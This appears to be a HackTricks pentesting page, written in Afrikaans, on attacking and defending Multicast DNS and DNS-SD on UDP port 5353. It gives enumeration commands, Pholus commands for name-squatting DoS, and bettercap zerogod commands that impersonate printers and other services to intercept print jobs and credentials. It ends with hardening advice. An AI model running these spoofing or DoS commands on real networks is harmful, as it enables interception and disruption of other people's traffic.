5353/UDP Multicast DNS (mDNS) en DNS-SD

Reading time: 8 minutes

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Basiese Inligting

Multicast DNS (mDNS) stel DNS-agtige naamoplossing en diensontdekking in staat binne 'n plaaslike skakel sonder 'n unicast DNS-bediener. Dit gebruik UDP/5353 en die multicast adresse 224.0.0.251 (IPv4) en FF02::FB (IPv6). DNS Diensontdekking (DNS-SD, tipies gebruik saam met mDNS) bied 'n gestandaardiseerde manier om dienste te tel en te beskryf via PTR, SRV en TXT rekords.

PORT     STATE SERVICE
5353/udp open  zeroconf

Belangrike protokol besonderhede wat jy dikwels tydens aanvalle sal benut:

  • Name in die .local sone word via mDNS opgelos.
  • QU (Query Unicast) bit kan unicast-antwoorde versoek selfs vir multicast-vrae.
  • Implementasies moet pakkette wat nie van die plaaslike skakel afkomstig is nie, ignoreer; sommige stakke aanvaar steeds hulle.
  • Probing/aanbieding afdwing unieke gasheer/dienste name; inmenging hier skep DoS/“naam squat” toestande.

DNS-SD diensmodel

Dienste word geïdentifiseer as _._tcp of _._udp onder .local, bv. _ipp._tcp.local (drukkers), _airplay._tcp.local (AirPlay), _adb._tcp.local (Android Debug Bridge), ens. Ontdek tipes met _services._dns-sd._udp.local, en los dan ontdekte instansies op na SRV/TXT/A/AAAA.

Netwerk Verkenning en Enumerasie

  • nmap teiken skandering (direkte mDNS op 'n gasheer):
bash
nmap -sU -p 5353 --script=dns-service-discovery <target>
  • nmap uitsending ontdekking (luister na die segment en enumerate alle DNS-SD tipes/instansies):
bash
sudo nmap --script=broadcast-dns-service-discovery
  • avahi-browse (Linux):
bash
# Lys diens tipes
avahi-browse -bt _services._dns-sd._udp
# Blaai alle dienste en los op na gasheer/poort
avahi-browse -art
  • Apple dns-sd (macOS):
bash
# Blaai alle HTTP dienste
dns-sd -B _http._tcp
# Enumereer diens tipes
dns-sd -B _services._dns-sd._udp
# Los 'n spesifieke instansie op na SRV/TXT
dns-sd -L "My Printer" _ipp._tcp local
  • Pakket vang met tshark:
bash
# Lewende vang
sudo tshark -i <iface> -f "udp port 5353" -Y mdns
# Slegs DNS-SD diens lys vrae
sudo tshark -i <iface> -f "udp port 5353" -Y "dns.qry.name == \"_services._dns-sd._udp.local\""

Wenk: Sommige blaaiers/WebRTC gebruik ephemerale mDNS gasheername om plaaslike IP's te masker. As jy random-UUID.local kandidate op die draad sien, los hulle op met mDNS om na plaaslike IP's te pivot.

Aanvalle

mDNS naam probing inmenging (DoS / naam squat)

Tydens die probing fase, kontroleer 'n gasheer naam uniekheid. Om te antwoord met gespoofde konflikte dwing dit om nuwe name te kies of te misluk. Dit kan diensregistrasie en ontdekking vertraag of voorkom.

Voorbeeld met Pholus:

bash
# Block new devices from taking names by auto-faking responses
sudo python3 pholus3.py <iface> -afre -stimeout 1000

Diens spoofing en impersonasie (MitM)

Impersonate geadverteerde DNS-SD dienste (drukkers, AirPlay, HTTP, lêer deel) om kliënte te dwing om met jou te verbind. Dit is veral nuttig om:

  • Dokumente te vang deur _ipp._tcp of _printer._tcp te spoof.
  • Kliënte na HTTP/HTTPS dienste te lok om tokens/kookies te versamel of payloads te lewer.
  • Te kombineer met NTLM relay tegnieke wanneer Windows kliënte outentisering onderhandel met gespoofde dienste.

Met bettercap se zerogod module (mDNS/DNS-SD spoofer/impersonator):

bash
# Start mDNS/DNS-SD discovery
sudo bettercap -iface <iface> -eval "zerogod.discovery on"

# Show all services seen from a host
> zerogod.show 192.168.1.42

# Impersonate all services of a target host automatically
> zerogod.impersonate 192.168.1.42

# Save IPP print jobs to disk while impersonating a printer
> set zerogod.ipp.save_path ~/.bettercap/zerogod/documents/
> zerogod.impersonate 192.168.1.42

# Replay previously captured services
> zerogod.save 192.168.1.42 target.yml
> zerogod.advertise target.yml

Ook kyk na generiese LLMNR/NBNS/mDNS/WPAD spoofing en geloofsbrief vang/relay werkvloei:

Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

Aantekeninge oor onlangse implementasie probleme (nuttig vir DoS/persistensie tydens betrokkenhede)

  • Avahi bereikbare-assertie en D-Bus crash foute (2023) kan avahi-daemon op Linux verspreidings beëindig (bv. CVE-2023-38469..38473, CVE-2023-1981), wat diensontdekking op teikenhosts ontwrig totdat dit herbegin word.
  • Cisco IOS XE Wireless LAN Controller mDNS gateway DoS (2024, CVE-2024-20303) laat aangrensende aanvallers toe om hoë CPU te dryf en AP's te ontkoppel. As jy 'n mDNS-gateway tussen VLAN's teëkom, wees bewus van sy stabiliteit onder verkeerd gevormde of hoë-tempo mDNS.

Verdedigende oorwegings en OPSEC

  • Segmentgrense: Moet nie 224.0.0.251/FF02::FB tussen sekuriteitsgebiede roete nie, tensy 'n mDNS-gateway eksplisiet vereis word. As jy ontdekking moet oorbrug, verkies toelaatlys en tempo beperkings.
  • Windows eindpunte/bedieners:
  • Om naamresolusie via mDNS hard te deaktiveer, stel die registerwaarde in en herbegin:
HKLM\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters\EnableMDNS = 0 (DWORD)
  • In bestuurde omgewings, deaktiveer die ingeboude “mDNS (UDP-In)” Windows Defender Firewall reël (ten minste op die Domein profiel) om inkomende mDNS verwerking te voorkom terwyl huis/roaming funksionaliteit behou word.
  • Op nuwer Windows 11 weergawes/GPO sjablone, gebruik die beleid “Rekenaar Konfigurasie > Administratiewe Sjablone > Netwerk > DNS Kliënt > Konfigureer multicast DNS (mDNS) protokol” en stel dit op Deaktiveer.
  • Linux (Avahi):
  • Beperk publikasie wanneer dit nie nodig is nie: stel disable-publishing=yes, en beperk interfaces met allow-interfaces= / deny-interfaces= in /etc/avahi/avahi-daemon.conf.
  • Oorweeg check-response-ttl=yes en vermy enable-reflector=yes tensy dit streng vereis word; verkies reflect-filters= toelaatlys wanneer jy reflekteer.
  • macOS: Beperk inkomende mDNS by gasheer/netwerk vuurmure wanneer Bonjour ontdekking nie nodig is vir spesifieke subnetwerke nie.
  • Monitering: Alarmeer oor ongewone styging in _services._dns-sd._udp.local navrae of skielike veranderinge in SRV/TXT van kritieke dienste; dit is aanduiders van spoofing of diens impersonasie.

Gereedskap vinnige verwysing

  • nmap NSE: dns-service-discovery en broadcast-dns-service-discovery.
  • Pholus: aktiewe skandering, omgekeerde mDNS sweeps, DoS en spoofing helpers.
bash
# Passiewe sniff (timeout sekondes)
sudo python3 pholus3.py <iface> -stimeout 60
# Enumereer diens tipes
sudo python3 pholus3.py <iface> -sscan
# Stuur generiese mDNS versoeke
sudo python3 pholus3.py <iface> --request
# Omgekeerde mDNS sweep van 'n subnet
sudo python3 pholus3.py <iface> -rdns_scanning 192.168.2.0/24
  • bettercap zerogod: ontdek, stoor, adverteer, en impersonate mDNS/DNS-SD dienste (sien voorbeelde hierbo).

Spoofing/MitM

Die mees interessante aanval wat jy oor hierdie diens kan uitvoer, is om 'n MitM in die kommunikasie tussen die kliënt en die werklike bediener uit te voer. Jy mag in staat wees om sensitiewe lêers te verkry (MitM die kommunikasie met die drukker) of selfs geloofsbriewe (Windows verifikasie).
Vir meer inligting, kyk:

Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

Verwysings

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks